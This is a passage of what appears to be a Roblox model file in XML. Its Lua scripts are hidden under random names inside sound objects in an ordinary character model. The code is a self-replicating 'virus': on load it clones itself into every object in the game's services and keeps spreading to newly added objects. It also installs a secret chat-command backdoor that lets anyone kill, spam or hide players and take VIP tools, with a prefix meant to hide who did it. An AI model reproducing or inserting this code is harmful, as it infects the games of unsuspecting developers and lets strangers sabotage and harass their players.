local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="StockSound" referent="RBX96">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">ca6o1gdpy</string>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Script" referent="RBX97">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">34jr5f8</string>
							<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="Model" referent="RBX98">
				<Properties>
					<token name="Controller">7</token>
					<bool name="ControllerFlagShown">true</bool>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Figure</string>
					<Ref name="PrimaryPart">RBX99</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Part" referent="RBX99">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">12</int>
						<CoordinateFrame name="CFrame">
							<X>12.2988644</X>
							<Y>4.79895926</Y>
							<Z>-11.0349817</Z>
							<R00>0.697126448</R00>
							<R01>9.777823e-009</R01>
							<R02>0.716948211</R02>
							<R10>3.85816215e-008</R10>
							<R11>1</R11>
							<R12>-5.11530516e-008</R12>
							<R20>-0.716948211</R20>
							<R21>6.3321167e-008</R21>
							<R22>0.697126448</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Head</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>2</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX100">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><null></null></Content>
							<token name="MeshType">0</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1.25</X>
								<Y>1.25</Y>
								<Z>1.25</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX101">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">xp8v</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX102">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">omw3a</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
